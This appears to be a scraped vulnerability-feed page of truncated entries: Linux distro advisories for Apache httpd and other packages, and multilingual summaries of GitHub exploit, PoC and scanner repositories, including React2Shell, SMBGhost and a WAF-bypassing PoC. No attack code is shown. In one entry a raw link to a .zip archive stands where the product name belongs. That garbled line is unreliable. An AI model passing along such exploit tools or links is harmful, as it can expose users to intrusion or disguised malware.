CLEANSTART-2026-RW21782 Out-of-bounds Write vulnerability in mod_sed of Apache HTTP Server allows an attacker to overwrite heap memory with possibly attacker provided data

Security vulnerability affects the apache2 package. Out-of-bounds Write vulnerability in modsed of Apache HTTP Server allows an attacker to overwrite heap memory with possibly attacker provided data...

CLEANSTART-2026-ZP32525 flaw was found in a change made to path normalization in Apache HTTP Server 2

Security vulnerability affects the apache2 package. A flaw was found in a change made to path normalization in Apache HTTP Server 2...

CLEANSTART-2026-FU14728 SSRF in Apache HTTP Server on Windows with mod_rewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests

Security vulnerability affects the apache2 package. SSRF in Apache HTTP Server on Windows with modrewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests...

SMBGhost

SMBGhost Analyseur simple pour CVE-2020-0796 - SMBv3 RCE. Le scanner est destiné uniquement à tester si un serveur est vulnérable. Il n'est pas destiné à la recherche ou au développement, d'où le payload fixe. Il vérifie le dialecte SMB 3.1.1 et la capacité de compression via une requête de...

CVE-2026-18782-TREX-MES-Uygulamalarinda-SQL-Zafiyeti

TREX-MES-Uygulamalarında-SQLi-Zafiyeti CVE-2026-18782 Обзор TREX MES — это коммерческая платформа системы управления производством MES / Индустрии 4.0, используемая для сбора и управления данными с производственного участка. Веб-API приложения выполняет параметр sql , поступающий от клиента,...

EUVD-2026-95428

When an HTTP server handler sends a 2xx response to an HTTP/1 CONNECT request and returns without hijacking the connection, the server improperly continues to read and serve requests from the connection. Since a 2xx response to an HTTP/1 CONNECT converts the connection into a tunnel, the server...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Exécutez des commandes facilement et en toute sécurité 🚀 Aperçu CVE-2025-55182 est une vulnérabilité dans https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip et les composants serveur React. Ce...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC - WAF 우회 포함 CVE-2025-55182일명 React2Shell를 위한 깔끔하고 신뢰할 수 있는 Python 개념 증명 익스플로잇입니다. 이는 Next.jsApp Router 및 유사 프레임워크에서 사용되는 React Server Components의 중요 원격 코드 실행 취약점입니다. 이 PoC는 대규모 멀티파트 본문의 심층 검사를 제한하는 일반적인 웹 애플리케이션 방화벽Cloudflare, AWS WAF 등을 우회하기 위한 동적 WAF 우회 패딩 을 포함합니다...

CVE-2020-11932

CVE-2020-11932 🐛🔍 Vérifiez CVE-2020-11932 et testez les hôtes liés à cette vulnérabilité Utilisation Téléchargement git clone https://github.com/Staubgeborener/CVE-2020-11932 cd CVE-2020-11932 chmod +x cve-2020-11932.sh ./cve-2020-11932.sh Avec curl sans téléchargement bash curl -s...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — React's Flight protocol — это уровень сериализации, лежащий в основе React Server Components. CVE-2025-55182 использует ошибку десериализации в Flight для достижения RCE без аутентификации. Если ваше приложение использует RSC, это flight risk. Набор...

CVE-2025-5548

🛡️ CVE-2025-5548 – Эксплойт переполнения буфера FreeFloat FTP Server 📌 Обзор Этот репозиторий документирует обнаружение и эксплуатацию уязвимости переполнения буфера на стеке в приложении FreeFloat FTP Server. Уязвимость находится в обработке команды USER, где небезопасные операции с памятью strcp...

react2shell-scanner

🚨 React2Shell Scanner Критическая RCE-уязвимость с CVSS 10.0 в React Server Components. Уязвимо ли ваше приложение на React 19? Быстрый и точный сканер для CVE-2025-55182 React2Shell — критической уязвимости удалённого выполнения кода, эксплуатируемой в реальных атаках. Ноль ложных срабатываний...

CVE-2020-1350

Avertissement Ce dépôt a été archivé et n'est plus activement maintenu. CVE-2020-1350 Ce script Powershell vérifie si votre serveur est vulnérable à la faille d'exécution de code à distance CVE-2020-1350 dans le service DNS Windows. Systèmes d'exploitation pris en charge pour ce script de...

CVE-2020-0796

Avertissement Ce dépôt a été archivé et n'est plus maintenu activement. CVE-2020-0796 Outil de vérification de la compression SMBv3 en PowerShell Article de blog associé : https://binsec.nl/cve-2020-0796-smbv3-rce-vulnerebility-in-smbv3-coronablue/ Cette vulnérabilité ne s'applique pour l'instant...

AlmaLinux 9.2 [TuxCare] Security Update: httpd / httpd-core / httpd-devel / httpd-filesystem / httpd-manual / etc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1791538487)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1791538487 advisory. - Deployment of wrong handler vulnerability in Apache HTTP Server allows the target of some internal redirects from CGI programs to...

AlmaLinux 9.2 [TuxCare] Security Update: httpd / httpd-core / httpd-devel / httpd-filesystem / httpd-manual / etc (ALMALINUX9.2:CLSA-2026:1791536084)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1791536084 advisory. - Out-of-bounds Write vulnerability in Apache HTTP Server's modcharsetlite. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

PT-2026-109164

A remote, unauthenticated TLS client can make a server crash or call through a freed pointer if its sni callback assigns a different context to SSLSocket.context the documented way to select a certificate per server name and nothing else keeps the original ssl.SSLContext alive. Typical cases are...

PT-2026-108827

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

PT-2026-108985

Name of the Vulnerable Software and Affected Versions Argo CD versions 2.11.0 through 3.3.14 Argo CD versions 3.4.0 through 3.4.9 Argo CD versions 3.5.0 through 3.5.3 Argo CD versions 3.6.0-rc1 and earlier Description The Argo CD repo-server is subject to command injection when cloning, testing, ...

Fedora 44 : xorg-x11-server-Xwayland (2026-2448dda850)

The remote Fedora 44 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-2448dda850 advisory. Update to xwayland 24.1.14 CVE fix for: CVE-2026-88812, CVE-2026-93515, CVE-2026-93516 CVE-2026-93517, CVE-2026-93518, CVE-2026-93519, CVE-2026-9352...